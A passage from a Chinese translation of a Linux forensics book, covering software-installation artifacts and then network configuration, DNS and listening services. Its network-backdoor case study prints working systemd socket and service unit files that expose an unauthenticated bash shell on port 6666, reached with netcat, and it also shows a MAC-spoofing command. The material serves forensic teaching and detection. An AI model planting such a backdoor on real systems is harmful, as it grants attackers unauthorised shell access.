drwxr-xr-x 5 root root  66 10\. Sep 2018 usr/

安装后,这些 squashfs 文件会挂载在运行系统的 /snap/ 目录下(在事后法医调查中不可见)。有关包的信息可以在 meta/snap.yaml 文件中找到。

已安装的 snaps 可以在 /var/lib/snapd/snaps/ 目录中找到,每个应用程序(及版本)对应一个文件,如以下示例所示:

# ls -l /var/lib/snapd/snaps/* 
-rw------- 1 root root 179642368 Nov 20 23:34 /var/lib/snapd/snaps/brave_87.snap
-rw------- 1 root root 187498496 Dez 4 00:31 /var/lib/snapd/snaps/brave_88.snap
-rw------- 1 root root 254787584 Nov 18 18:49 /var/lib/snapd/snaps/chromium_1411.snap
-rw------- 1 root root 254418944 Dez 3 18:51 /var/lib/snapd/snaps/chromium_1421.snap
...

这里的示例输出显示了 Brave 和 Chromium 浏览器的多个版本。挂载是通过 systemd 挂载单元文件完成的,这些文件可以在 /etc/systemd/system/ 目录中找到,文件名为 snap-.mount*。

Snaps 依赖于 snapd 守护进程来管理基本的家务工作。各种 snapd 操作会记录在日志中(或 syslog 中):

...
Apr 07 15:21:25 pc1 snapd[22206]: api.go:985: Installing snap "subsurface" revision unset
...
Sep 28 14:41:32 pc1 snapd[8859]: storehelpers.go:438: cannot refresh snap "subsurface":
snap has no updates available
...
Nov 14 16:10:14 pc1 systemd[1]: Unmounting Mount unit for subsurface, revision 3248...
...
Nov 14 16:10:59 pc1 systemd[1]: Mounting Mount unit for subsurface, revision 3231...
...

该日志输出显示了 Subsurface snap 包的 snapd 日志。^(15) 输出内容表明了安装日期、刷新(更新)检查以及挂载/卸载活动(这也对应系统重启)。

有关 snap 包的更多信息,请参见 snap(8) 手册页和 snapcraft.io/

软件中心和图形界面前端

历史上,包管理系统具有高度的发行版特异性。主要发行版之间开展了合作,旨在朝着解决这一问题的共同方案努力。PackageKit 的开发目的是统一不同发行版之间的包管理。它为通用前端软件管理应用程序和后端(发行版特定)包管理系统(如 apt、dnf 等)提供接口。像 Flatpak 或 Snap 这样的通用包系统也可以通过相同的 PackageKit 应用程序进行管理。一个名为 AppStream 的通用包元数据规范被创建,用于跨发行版和包管理系统的使用。

已安装的应用程序可以将 AppStream 元数据 XML 文件存储在/usr/share/metainfo/目录中。该文件包含诸如描述(包括翻译)、许可证和版本信息、项目团队的主页和联系人、显示的截图 URL 等信息。当用户在软件中心查看应用程序时,截图会从项目团队指定的 URL 获取。这个网络位置和相关的网络流量可能在取证调查中很有价值。有关 AppStream 元数据存储的更多信息,请参见www.freedesktop.org/software/appstream/docs/chap-Quickstart.html

PackageKit 的配置文件位于/etc/PackageKit/目录中。PackageKit 安装的软件包的 SQLite 数据库存储在文件/var/lib/PackageKit/transactions.db中。

为了实现软件包管理的统一,这一努力促成了通用包管理器的发展,这些包管理器称为软件中心,是易于使用的图形应用程序,可以在任何 Linux 发行版上运行。软件中心的概念类似于在移动设备和其他操作系统上流行的应用商店程序。以下列表包括一些 Linux 软件中心的示例,以及它们的命令行和图形应用名称:

gnome-software GNOME 系统的(软件)
plasma-discover KDE Plasma 系统的(Discover)
pamac-manager Arch Linux 系统的(Pamac)
mintinstall Linux Mint 系统的(软件管理器)
pi-packages Raspberry Pi 系统的(PiPackages)

这些工具都有相似的外观和感觉(请参见图 7-2 的示例)。

Image

图 7-2:GNOME 软件

除了使用 PackageKit 和 AppStream 的通用前端外,许多发行版还具有直接与本地软件包管理系统接口的图形前端工具。例如,Debian 的 Synaptic 或 SUSE 的 YaST。

在后台,这些图形化工具通常运行低级工具(如 apt 或 dnf)或调用库(如 libalpm 或 libdnf)。对于取证检查,软件包管理活动应在日志和本地软件包数据库中显示,正如本章前面所讨论的那样。各个工具可能有自己的日志(例如,它们可能有一个守护进程记录到文件或 syslog)。持久数据或缓存数据也可能存在于用户的/.cache/*或*/.local/目录中。配置文件通常位于/etc/(用于系统默认设置)和~/.config/(用于用户自定义设置)。

其他软件安装分析

还有多种其他方法可以手动添加软件,或者将其作为插件添加到现有的软件包中。这些方法完全绕过了 Linux 发行版的包管理。然而,它们可能仍然会留下在取证上下文中有用的痕迹信息。

手动编译和安装的软件

GNU 软件包可以手动编译和安装,从而绕过任何包管理系统(不会在包管理日志或数据库中留下痕迹)。GNU 编码标准文档可以在 www.gnu.org/prep/standards/ 上找到。典型的过程包括在线找到源软件包(通常是压缩的 tar 文件),下载到工作目录,解压并运行 configuremake 脚本。以下是一个示例:

$ wget http://ftp.gnu.org/gnu/bc/bc-1.07.1.tar.gz
...
Length: 419850 (410K) [application/x-gzip]
Saving to: 'bc-1.07.1.tar.gz'
...
$ tar -xvf bc-1.07.1.tar.gz
...
bc-1.07.1/bc/bc.h
bc-1.07.1/bc/bc.c
...
$ cd bc-1.07.1/
$ ./configure
checking for a BSD-compatible install... /bin/install -c
checking whether build environment is sane... yes
...
$ make
make all-recursive
make[1]: Entering directory '/home/sam/Downloads/bc/bc-1.07.1'
...
$ sudo make install
Making install in lib
...
 /bin/mkdir -p '/usr/local/bin'
 /bin/install -c bc '/usr/local/bin'
...

可以指定安装目录,非特权用户可以在自己的主目录中安装软件(例如 ~/.local/bin/)。通常,下载网站会提供一个单独的文件,其中包含压缩档案文件的加密哈希值,以便进行验证。

手动下载还可能涉及与软件开发仓库(如 Git)同步(或克隆)。手动安装也可能仅仅是将独立的脚本和二进制文件复制到可执行路径中的某个位置。对于手动安装,系统没有包管理,也没有安装时间戳的跟踪。文件系统的时间戳是判断文件安装时间的最佳指标(特别是,通过对比编译目录中的文件时间戳与安装文件的时间戳)。手动卸载软件可能涉及 make uninstall 命令或脚本。如果找到源代码目录,值得检查 Makefile,以了解在安装(和卸载)过程中对文件系统进行了哪些修改。还可以检查 shell 历史记录,以查找手动下载、编译和安装软件包的证据。

编程语言包

一些编程语言,尤其是解释型语言,有自己的包管理器,用于添加提供扩展功能的额外代码模块和库。这些包可能使用发行版的包管理系统,或者完全绕过它。本节介绍了一些使用编程语言的包管理系统直接安装的软件包示例。

Python 编程语言有多个包管理器,其中最流行的是 pip,即 Python 包安装工具。pip 工具用于获取、安装和管理 Python 包。如果非特权用户安装了一个包,它将被写入到他们的主目录中的 ~/.local/lib/python/ site-packages/。如果是站点安装(即面向所有用户),它将被安装到 /usr/lib/python/site-packages/。以 .egg-info 结尾的文件或目录包含包的元数据。

Perl 编程语言有 CPAN(Comprehensive Perl Archive Network)。cpan 命令用于获取、安装和管理 Perl 模块。用户安装的模块存储在 ~/.cpan 中。

另一个例子是 Ruby Gems (rubygems.org/),它从中央仓库下载 Ruby 代码并将其存储在用户的主目录或全站位置。

在法医检查过程中,应该分析每个用户的主目录,以确定他们是否为程序员以及他们使用哪种编程语言进行开发。编程语言可能拥有模块或库包管理系统。

应用程序插件

应用程序插件在这里仅简要提及,因为分析不在本书的范围之内。许多大型应用程序通过主题、插件、附加组件或扩展功能进行扩展,这些扩展是从应用程序内部安装的。浏览器、文件管理器、办公套件、窗口环境和其他程序通常采用这种方式。插件不仅被大型图形程序使用,也被小型实用工具(例如 vim 或 neovim)使用。

在某些情况下,这些插件可以通过发行版的包存储库获得,并安装在标准位置,其他用户也可以使用。在其他情况下,用户可能会为自己的使用安装插件。在后者情况下,插件通常存储在用户的主目录中(以隐藏点“.”目录的形式,与应用程序的其他文件一起)。如果应用程序有日志或活动历史记录,可以找到安装的时间戳;否则,文件系统的时间戳是最好的安装时间指示。

总结

本章中,我已经描述了如何检查 Linux 系统上安装的软件。你现在应该能够识别安装的发行版和版本号,并重建最初的安装过程。你还应该能够确定哪些附加软件包已安装,并如何分析这些软件包的详细信息。

第八章:识别网络配置产物

图片

对 Linux 系统的法医分析包括网络配置的检查以及过去网络活动的重建。此分析可以用于了解系统的突破或泄露,或者本地用户在机器上的滥用。本章描述了常见的 Linux 网络配置,既包括静态系统(如服务器),也包括动态客户端(如桌面和流动笔记本电脑)。分析内容包括网络接口、分配的 IP 地址、无线网络、附加的蓝牙设备等。安全性方面的内容包括检查 VPN、防火墙和代理设置的证据。

本章并非关于网络取证,也不涉及网络流量捕获或数据包分析。重点仍然是对 Linux 系统的事后分析(“死磁盘”)。然而,本章内容应当补充任何独立的网络取证分析。

网络配置分析

网络一直是 Unix 的基础部分,而 TCP/IP 协议支持在 Unix 在互联网中的流行中起到了重要作用。网络同样是 Linux 内核和 Linux 发行版的核心功能。早期的 Unix 和 Linux 系统有一个简单的静态网络配置,预期不会改变,至少不会频繁变化。配置可以在安装时定义,或通过几个文件进行编辑。

如今的网络更加动态,尤其是移动系统,Linux 系统使用网络管理软件来保持网络配置的更新。本节介绍了网络接口和地址配置,随后介绍了管理网络配置的软件。重点突出对法医分析有价值的产物。

Linux 接口与地址配置

理解网络设备的命名和网络地址配置对于法医检查非常有用。这些知识有助于调查人员在日志、配置文件或其他持久化数据中找到相应的设备和地址的参考。

在系统启动过程中,内核会检测并初始化硬件,包括网络设备。当 Linux 内核找到物理网络接口时,它会自动分配通用名称(之后 systemd 会重命名这些接口)。还可能创建并配置额外的虚拟接口。常见的接口通用名称包括:

eth0 以太网
wlan0 无线局域网
wwan0 移动通信/蜂窝
ppp0 点对点协议
br0 桥接
vmnet0 虚拟机

这里的前三个示例是物理硬件接口;最后三个是虚拟接口。当系统有多个同类型的物理接口时会出现问题。内核启动时,它会根据设备被检测到的顺序为网络设备分配通用的接口名称。这个顺序在重启时不一定相同,一个名为eth0的以太网接口,下一次系统启动时可能会被命名为eth1。为了解决这个问题,systemd 开始通过systemd-udevd服务对接口进行重命名,采用一种跨重启一致的命名规则,并且在接口名称中编码设备的信息。

重命名的接口以描述性前缀开头——例如,en表示以太网,wl表示 WLAN,或ww表示 WWAN。PCI 总线用p表示,PCI 插槽用s表示,PCI 设备功能(如果不为零)用f表示。例如,如果运行中的机器有enp0s31f6wlp2s0这两个接口,我们知道它们分别是以太网(en)和 Wi-Fi(wl),并且可以通过lspci输出^(1)来匹配 PCI 总线、插槽和功能,如下所示:

$ lspci
...
00:1f.6 Ethernet controller: Intel Corporation Ethernet Connection (4) I219-LM (rev 21)
02:00.0 Network controller: Intel Corporation Wireless 8265 / 8275 (rev 78)
...

这些只是用于表示设备名称的一些字符。有关 systemd 设备名称的完整描述,请参见 systemd.net-naming-scheme(7) 手册页。

通常,这种自动重命名可能会导致长且复杂的接口名称(例如wwp0s20f0u2i12);然而,这些名称可以被分析以了解更多关于物理硬件的信息。可以在内核日志中观察到重命名的动作;例如:

Feb 16 19:20:22 pc1 kernel: e1000e 0000:00:1f.6 enp0s31f6: renamed from eth0
Feb 16 19:20:23 pc1 kernel: iwlwifi 0000:02:00.0 wlp2s0: renamed from wlan0
Feb 16 19:20:23 pc1 kernel: cdc_mbim 2-2:1.12 wwp0s20f0u2i12: renamed from wwan0

在这里,笔记本电脑的以太网、Wi-Fi 和 WWAN 接口都已被systemd-udevd重命名。系统管理员可以通过引导加载程序内核标志(net.ifnames=0)或使用 udev 规则(*/etc/udev/rules.d/**)来防止接口重命名。

分析 MAC 地址可以提供有关硬件或底层协议的信息。物理接口有 MAC 地址,用于在附加网络的链路层识别机器。这些 MAC 地址对于每个网络设备来说是唯一的,可以作为调查中的标识符。制造商根据 IEEE 分配的地址块定义 MAC 地址。IEEE 组织唯一标识符(OUI)数据库(standards.ieee.org/regauth/) 列出了分配给各个组织的 MAC 地址块。互联网号码分配局(IANA)MAC 地址块(00-00-5E)列出了分配的 IEEE 802 协议号(www.iana.org/assignments/ethernet-numbers/ethernet-numbers.xhtml)。这些都在 RFC 7042 中进行了描述(tools.ietf.org/html/rfc7042/)。

使用的 MAC 地址通常可以在设备首次检测到时的内核日志中找到。设备的内核模块记录了 MAC 地址,日志条目在不同设备之间可能略有不同。以下是一些示例:

Dec 16 09:01:21 pc1 kernel: e1000e 0000:00:19.0 eth0: (PCI Express:2.5GT/s:Width x1)
 f0:79:59:db:be:05
Dec 17 09:49:31 pc1 kernel: r8169 0000:01:00.0 eth0: RTL8168g/8111g, 00:01:2e:84:94:de,

 XID 4c0, IRQ 135
Dec 16 08:56:19 pc1 kernel: igb 0000:01:00.0: eth0: (PCIe:5.0Gb/s:Width x4) a0:36:9f:44:46:5c

在这个例子中,三个不同的内核模块(e1000er8169m,和igb)生成了包含 MAC 地址的内核日志。

MAC 地址可以手动修改、随机生成,甚至伪装成另一台机器的地址。修改 MAC 地址的原因可能是出于个人隐私的合法考虑,故意进行反取证以掩盖身份,或是尝试在网络上冒充另一台设备的身份。MAC 地址随机化是 systemd 的一项功能(默认未启用),并且在 systemd.link(5) 手册页中有文档说明。修改 MAC 地址可能在日志中不可见,可以通过配置文件(/etc/systemd/network/ .link)、udev 规则(/etc/udev/rules.d/.rules)或手动输入的命令(可能出现在 Shell 历史记录中)来确定。以下命令示例手动更改 MAC 地址:

# ip link set eth0 address fe:ed:de:ad:be:ef

IP 地址(IPv4 或 IPv6)、路由和其他网络配置信息可以在特定发行版的文件中静态定义,由网络管理器动态配置,或使用如 ip 之类的工具手动指定(ip 是 ifconfig 的现代替代品)。有关更多信息,请参阅 ip(8) 手册页。

在法医调查的背景下,之前使用的 IP 地址和 MAC 地址可以用来重建过去的事件和活动。可以在本地机器上搜索 IP 和 MAC 地址的地方包括:

  • 内核日志(dmesg

  • Systemd 日志和 syslog

  • 应用程序日志

  • 防火墙日志

  • 配置文件

  • 缓存和持久化数据

  • 用户 XDG 目录中的其他文件

  • 系统管理员的 Shell 历史记录

查找 MAC 和 IP 地址的许多地方不在本地机器上,而是在周围的基础设施或远程服务器上。MAC 地址仅在本地子网中可见,因此查找 MAC 地址将仅限于链路层基础设施,如 Wi-Fi 接入点、DHCP 服务器、链路层监控系统(例如 arpwatch)和其他本地网络交换基础设施。在正在进行的事件中,同一子网中的其他机器可能会在其 ARP 缓存中留下嫌疑机器的 MAC 地址痕迹(主要来自广播包)。远程服务器可能会保留大量关于过去 IP 地址的信息。发送遥测数据或包含唯一标识符的其他网络流量的应用程序和操作系统组件,也可能会在远程基础设施中记录。

在一个组织内,CERT/SOC/安全团队可能可以访问更多的安全监控信息来调查事件。在法律管辖区内,执法机构可能会提出请求以调查犯罪活动。

网络管理器和发行版特定配置

历史上,每个 Linux 发行版以自己的方式管理网络配置。在服务器系统上,随着 systemd 提供了使用单元文件的标准网络配置方法,未来可能会发生变化。在客户端和桌面系统上,动态配置网络(例如 Wi-Fi 或移动协议漫游)的需求增加,网络管理器已变得越来越普遍。

基于 Debian 的系统在 /etc/network/interfaces 文件中配置网络。该文件指定每个接口的网络配置。接口可以静态配置或使用 DHCP。可以指定 IPv4 和 IPv6 地址,以及静态路由、DNS 等。以下是来自 /etc/network/interfaces 文件的示例:

auto eth0
iface eth0 inet static:
    address 10.0.0.2
    netmask 255.255.255.0
    gateway 10.0.0.1
    dns-domain example.com
    dns-nameservers 10.0.0.1

在这里,接口在启动时被配置为静态 IPv4 地址。地址、子网掩码和默认路由被定义。DNS 服务器和搜索域也被配置。包含配置片段的文件也可以存储在 /etc/network/interfaces.d/ 目录中。/etc/network/ 中的其他目录用于在接口启动或关闭时运行的前置和后置脚本。有关 Debian 或基于 Debian 系统的更多信息,请参见 interfaces(5) 手册页。

Red Hat 和 SUSE 使用 /etc/sysconfig/ 目录来存储配置文件。这些文件包含变量(key=value)和 shell 命令,可以包含在其他 shell 脚本中或在系统启动或系统管理过程中由单元文件使用。/etc/sysconfig/network-scripts//etc/ sysconfig/network/ 目录包含网络配置文件。以下示例展示了一个 enp2s0 接口的配置:

$ cat /etc/sysconfig/network-scripts/ifcfg-enp2s0
TYPE=Ethernet
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=dhcp
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes
IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=pc1
UUID=16c5fec0-594b-329e-949e-02e36b7dee59
DEVICE=enp2s0
ONBOOT=yes
AUTOCONNECT_PRIORITY=-999
IPV6_PRIVACY=no

在此示例中,定义了 enp2s0 接口的配置。这些基于变量的配置文件与工具无关,不同的网络管理工具可以使用相同的配置文件集。SUSE 还推出了 Wicked,这是一个替代的网络配置系统,使用一个守护进程(wickedd)来监控网络接口,并可以通过 D-Bus 控制。/etc/sysconfig/ 目录仍然会被读取,并且在 /etc/wicked/ 目录中创建了额外的 XML 配置文件。

Arch Linux 项目开发了一个名为 netctl 的网络管理系统,它基于 systemd。Arch 默认没有安装 netctl,但它允许用户选择使用它或其他独立于发行版的网络管理器。Netctl 配置文件按名称存储在 /etc/netctl/ 目录中。

Systemd 提供了使用三种类似于单元文件的网络配置文件来进行网络管理。配置文件通常引用网络设备(例如 eth0),并具有以下扩展名之一:

.link 配置物理网络设备,例如以太网

.netdev 配置虚拟网络设备,例如 VPN 和隧道

.network 配置网络层(IPv4、IPv6、DHCP 等)

systemd-udevd 守护进程使用.link文件,systemd-networkd 守护进程使用.netdev.network文件。发行版或已安装软件包提供的默认网络配置文件位于/usr/lib/systemd/network/目录下。系统管理员自定义的配置位于/etc/systemd/network/目录下。检查这些目录将帮助你了解如何使用 systemd 配置网络。

以下是一个.link文件的示例:

$ cat /etc/systemd/network/00-default.link
[Match]
OriginalName=*

[Link]
MACAddressPolicy=random

在这种情况下,默认的链接配置被覆盖,因此接口在启动时会获得一个随机生成的 MAC 地址。

这是一个.netdev文件的示例:

$ cat /etc/systemd/network/br0.netdev
[NetDev]
Name=br0
Kind=bridge

这个简单的.netdev文件定义了一个名为br0的桥接接口。然后,可以在.network文件中将一个接口添加到桥接中,如下所示:

$ cat /etc/systemd/network/eth1.network
[Match]
Name=eth1

[Network]
Address=10.0.0.35/24
Gateway=10.0.0.1

在这里,为eth1接口定义了一个静态 IP 地址、子网掩码(/24)和默认路由。有关更多信息,请参见 systemd.link(5)、systemd.netdev(5)和 systemd.network(5)手册页。

许多 Linux 系统使用 NetworkManager 守护进程来管理网络配置,尤其是在桌面系统上。配置数据位于/etc/NetworkManager/目录中。NetworkManager.conf文件包含一般配置信息,单独的连接按名称定义在/etc/NetworkManager/system-connections/目录中。对于 Wi-Fi 连接,这些文件可能包含网络名称和密码。有关更多细节,请参见 NetworkManager(8)和 NetworkManager.conf(5)手册页。

DNS 解析

互联网上的计算机系统使用域名系统(DNS)从主机名确定 IP 地址,并从 IP 地址确定主机名。^(2) 这种在线查找被称为 DNS 解析,Linux 机器通过名为DNS 解析器的机制实现这一过程。与 IP 地址和路由不同,DNS 解析并非在内核中配置,而是在用户空间完全运行。解析器功能是内置在标准 C 库中的,使用/etc/resolv.conf文件来指定本地 DNS 配置。

该配置文件包含 DNS 名称服务器的 IP 地址列表,并可能还包含本地系统使用的域名。IP 地址可以是 IPv4 或 IPv6,并指向由本地网络管理员、互联网服务提供商(ISP)或 DNS 提供商运行的 DNS 服务器。以下是一个resolv.conf文件的示例:

$ cat /etc/resolv.conf
search example.com
nameserver 10.0.0.1
nameserver 10.0.0.2

这里,搜索域附加到简单的主机名,并指定了两个名称服务器(如果第一个服务器不可用,则尝试第二个)。更现代的解析器实现支持通过 D-Bus 和本地套接字进行解析。

你可以在 resolv.conf(5)手册页中找到其他选项。另外,可能存在一个/etc/resolv.conf.bak文件,包含之前 DNS 配置的设置。resolv.conf文件的文件系统时间戳将指示该文件何时生成。

随着漫游和移动设备使得网络变得更加动态,系统管理员、网络管理员、守护进程和其他程序都希望修改resolv.conf文件。这导致了问题,因为有时一个程序(或人员)会撤销另一个程序所做的更改,从而造成混乱。如今,resolv.conf文件通常通过一个名为resolvconf的框架进行管理。

根据 Linux 发行版的不同,使用的 resolvconf 框架可能是 openresolv 或 systemd 的 resolvconf。systemd-resolved 守护进程在/etc/systemd/resolved.conf文件中进行配置;例如:

$ cat /etc/systemd/resolved.conf
...
[Resolve]
DNS=10.0.1.1
Domains=example.com
...
# Some examples of DNS servers which may be used for DNS= and FallbackDNS=:
# Cloudflare: 1.1.1.1 1.0.0.1 2606:4700:4700::1111 2606:4700:4700::1001
# Google:     8.8.8.8 8.8.4.4 2001:4860:4860::8888 2001:4860:4860::8844
# Quad9:      9.9.9.9 2620:fe::fe
#DNS=
#FallbackDNS=1.1.1.1 9.9.9.10 8.8.8.8 2606:4700:4700::1111 2620:fe::10
2001:4860:4860::8888

systemd-resolved 系统根据/etc/systemd/resolved.conf文件中的参数管理resolv.conf文件,并指定 DNS 服务器、域、后备服务器以及其他 DNS 解析器配置。替代的 openresolv 框架将其配置存储在/etc/resolvconf.conf文件中。有关更多详细信息,请参阅 resolvconf(8)手册页。

一些应用程序能够使用 DNS over HTTPS(DoH)或 DNS over TLS(DoT),其中 DNS 查询通过加密连接发送到 DNS 提供商。许多现代网页浏览器提供此功能,绕过了本地 DNS 解析系统。请确保检查浏览器配置,以查看是否有替代的 DNS 提供商。Systemd 目前支持 DoT。

解析器配置文件很有趣,因为它们提供了 Linux 系统与 ISP 或 DNS 提供商之间的链接。ISP 或 DNS 提供商可能有 DNS 查询和时间戳的日志,供调查人员在请求时查阅。DNS 服务器上记录的 DNS 查询可以提供大量关于机器活动的信息,如下所示:

  • 用户访问过的网站历史记录(包括重复访问的频率)

  • 电子邮件、消息和社交媒体活动(使用的服务提供商及其频率)

  • 使用任何检查更新或发送遥测请求的应用程序

  • 在服务器系统上,反向 DNS^(3)查找可能表示对正在调查的 Linux 系统的网络连接(已解析的 FQDN 可能会在日志中可见)

  • 任何其他已查询的 DNS 资源记录(MX、TXT 等)

在一个组织内,CERT/SOC/安全团队可能有权访问这些信息,以调查安全事件。在某个法律管辖区内,执法机关可能能够依法请求这些信息,以调查犯罪活动。

/etc/nsswitch.conf文件的开发旨在允许为用户、组、主机查找等多个信息源(数据库)提供支持。hosts:条目定义了如何进行查找;例如:

$ cat /etc/nsswitch.conf
...
hosts:     files dns
...

在这里,该条目表示应该首先查询本地文件(/etc/hosts),然后才是 DNS。该行可能定义了条件语句或其他数据库。有关更多信息,请参阅 nsswitch.conf(5) 手册页。

/etc/hosts 文件早于 DNS,是一个本地的 IP 到主机名的映射表。系统在尝试使用 DNS 解析主机名或 IP 地址之前,会首先检查此文件。hosts 文件今天通常用于配置本地主机名和定义自定义的 IP/主机名对。在取证检查中,应检查此文件是否有任何系统管理员或恶意行为者所做的更改。

最后,Avahi 是 Linux 实现的 Apple Zeroconf 规范。Zeroconf(因此 Avahi)使用多播 DNS 在本地网络上发布服务(例如文件共享)。这些服务可以被本地网络上的其他客户端发现。Avahi 配置文件位于 /etc/avahi/,而 avahi 守护进程将活动日志记录到日志系统(搜索 avahi-daemon 的日志)。

网络服务

一些 Linux 守护进程在网络接口上监听传入的服务请求。在传输层,通常是一个监听的 UDP 或 TCP 套接字。UDP 和 TCP 套接字绑定到一个或多个接口,并监听指定的端口号。在取证检查中,我们关心的是识别在启动时启动的监听服务,可能还包括在机器运行过程中启动的服务。这些服务可能是正常的合法服务,系统所有者出于恶意目的运行的服务,或者是恶意行为者启动的服务(例如后门)。

许多网络服务有一个守护进程常驻在系统上,接受来自远程客户端通过网络的连接请求。这些服务的配置通常包括监听的端口和接口。该配置由传递给守护进程程序二进制文件的标志、配置文件或编译时的默认值指定。网络守护进程的配置文件没有统一的语法,但存在一些相似之处。以下是一些常见守护进程及其关联的监听服务配置语法:

/etc/mysql/mariadb.conf.d/50-server.cnf
bind-address = 127.0.0.1

/etc/mpd.conf
bind_to_address "10.0.0.1"

/etc/ssh/sshd_config
Port 22
AddressFamily any
ListenAddress 0.0.0.0
ListenAddress ::

/etc/apache2/ports.conf
Listen 80
Listen 443

/etc/cups/cupsd.conf
Listen 10.0.0.1:631

/etc/dnsmasq.conf
interface=wlan0

这些示例展示了不同网络服务守护进程之间的配置文件语法完全不同。然而,它们都指定了相同的内容,如端口号(可能不止一个)、地址族(IPv4、IPv6 或两者),或监听的接口(通过 IP 地址或网络设备名称)。

在运行中的系统上,ss 工具(netstat 的现代替代品)可以显示所有监听端口以及守护进程的名称。例如,我们可以使用 ss -lntup 显示所有监听的数值型 TCP 和 UDP 端口以及监听进程的名称。但是在文件系统的死后取证分析中,我们只有配置文件和日志来确定哪些服务在监听。此分析涉及检查所有启用的网络守护进程,并单独检查它们的配置文件以寻找监听接口或 IP 地址(如果没有定义,则使用编译时的默认值)。

许多服务在启动时会发出日志消息,描述它们如何在机器上监听:

Dec 17 09:49:32 pc1 sshd[362]: Server listening on 0.0.0.0 port 22.
Dec 17 09:49:32 pc1 sshd[362]: Server listening on :: port 22.
...
pc1/10.0.0.1 2020-12-16 07:28:08 daemon.info named[16700]: listening
on IPv6 interfaces, port 53

在这些示例中,secure shell 守护进程(sshd)和 Bind DNS 服务器(named)在启动时都记录了它们的监听配置。

仅绑定到本地主机(127.0.0.1 或 ::1)的服务只能从本地机器访问,而无法从附加网络(如互联网)访问。这种受限监听通常用于后端服务,如数据库,这些服务仅由其他本地守护进程访问,但绝不用于通过网络提供给远程机器。一些事件涉及这些后端服务的配置错误,导致它们意外地暴露到互联网,从而可能被滥用或遭到攻击。

拥有多个网络接口的主机被称为 多网卡系统,通常包括防火墙、代理服务器、路由器或具有虚拟接口的机器,这些接口来自 VPN 或隧道。客户端程序可能具有标志或配置,定义了使用哪个接口(或 IP)作为来源。例如,ping 命令具有 -I 标志,用于指定源 IP 或接口。Secure shell (SSH) 客户端可以使用 -b 标志或 bindaddress 指令来指定具有多个接口的机器上的源 IP。

在取证分析中,这些标志或配置可能很重要,因为它们指示了已建立网络连接的源 IP,或来自哪个接口的网络流量。IP 地址可能与远程日志、入侵检测系统(IDS)或网络取证分析相关联。

一些网络服务是通过基于网络的激活机制按需启动的。传统的 Unix 风格的网络服务激活使用一个名为 inetd(或 xinetd,一个流行的替代品)的守护进程,它监听多个传入的 TCP 和 UDP 端口,并在尝试连接时启动相应的守护进程。systemd .socket 文件为按需启动的守护进程执行类似的基于套接字的激活。

案例研究:网络后门

我将通过一个使用 systemd 套接字激活实现的后门案例来结束本节。在这个例子中,两个恶意的单元文件被写入用户的 systemd 单元目录(.config/systemd/user/),提供了一个通过套接字激活的后门 shell:

$ cat /home/sam/.config/systemd/user/backdoor.socket
[Unit]
Description=Backdoor for Netcat!

[Socket]
ListenStream=6666
Accept=yes

[Install]
WantedBy=sockets.target

如果启用,这个 backdoor.socket 文件会监听 TCP 端口 6666,并在收到连接时启动 backdoor.service 单元:

$ cat /home/sam/.config/systemd/user/backdoor@.service
[Unit]
Description=Backdoor shell!

[Service]
Type=exec
ExecStart=/usr/bin/bash
StandardInput=socket

这个 backdoor.service 文件启动一个 Bash Shell,并将输入和输出(stdinstdout)传递给连接的网络客户端。远程攻击者可以使用 netcat 访问后门并运行 Shell 命令(使用 CTRL-C 断开连接):

$ netcat pc1 6666
whoami
sam
^C

当用户登录时,后门可用,且可以作为该用户运行 Shell 命令。这个后门是一个未经身份验证的 Shell 访问示例,使用套接字激活来访问 Linux 机器。

套接字激活服务在日志中可见:

Dec 18 08:50:56 pc1 systemd[439]: Listening on Backdoor for Netcat!.
...
Dec 18 11:03:06 pc1 systemd[439]: Starting Backdoor shell! (10.0.0.1:41574)...
Dec 18 11:03:06 pc1 systemd[439]: Started Backdoor shell! (10.0.0.1:41574).
...
Dec 18 11:03:15 pc1 systemd[439]: backdoor@4-10.0.0.2:6666-10.0.0.1:41574.service: Succeeded.

这里,第一条日志记录是监听器已启动的消息,接下来的两条记录显示了来自远程 IP 的传入连接,导致服务启动。最后一条记录是连接的终止,包括有关 TCP 会话的信息(源和目标端口及 IP 地址)。

无线网络分析

无线移动设备的增长和无线技术的便利性促使了无线标准在 Linux 系统中的实现。最常见的包括 Wi-Fi、蓝牙和 WWAN 移动技术。这三种技术中的每一种都会在本地系统上留下取证调查人员可能感兴趣的证据痕迹。此外,Linux 机器连接的无线设备或基础设施也可能留下证据痕迹(洛卡尔定律适用于无线技术)。

Wi-Fi 痕迹

802.11x Wi-Fi 标准允许客户端计算机无线连接到接入点(AP),也称为热点或基站。从取证的角度来看,我们正在寻找可能在 Linux 系统中找到的各种痕迹:

  • SSID(服务集标识符),已连接 Wi-Fi 网络的名称

  • BSSID(基本 SSID),已连接基站的 MAC 地址

  • 连接的 Wi-Fi 网络的密码

  • 如果 Linux 系统是一个 AP,SSID 和密码

  • 如果 Linux 系统是一个 AP,哪些客户端连接

  • 其他配置参数

我们可以在配置文件、日志和其他持久性缓存数据中找到这些痕迹。

计算机通常使用各种身份验证和安全形式连接到 Wi-Fi 网络,其中 WPA2(Wi-Fi 保护访问 2)是当前最流行的。管理 Linux 上的 WPA2 需要一个守护进程来监控和管理密钥协商、身份验证以及内核 Wi-Fi 设备的关联/去关联。wpa_supplicant 守护进程最初于 2003 年为此目的开发,并广泛使用至今。

iwd 守护进程由英特尔创建,并于 2018 年发布,作为 wpa_supplicant 的现代化简化替代品。这两种实现可能包含配置数据、日志和缓存信息,取证检查员可能对此感兴趣。

wpa_supplicant 守护进程(属于名为 wpa_supplicant 或 wpasupplicant 的软件包的一部分)可以将静态配置存储在 /etc/wpa_supplicant.conf 中,但通常是通过网络管理器动态地通过 D-Bus 进行配置。守护进程可能会将信息记录到系统日志中,例如:

Dec 01 10:40:30 pc1 wpa_supplicant[497]: wlan0: SME: Trying to authenticate with 80:ea:96:eb
:df:c2 (SSID='Free' freq=2412 MHz)
Dec 01 10:40:30 pc1 wpa_supplicant[497]: wlan0: Trying to associate with 80:ea:96:eb:df:c2 (
SSID='Free' freq=2412 MHz)
Dec 01 10:40:30 pc1 wpa_supplicant[497]: wlan0: Associated with 80:ea:96:eb:df:c2
Dec 01 10:40:30 pc1 wpa_supplicant[497]: wlan0: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0
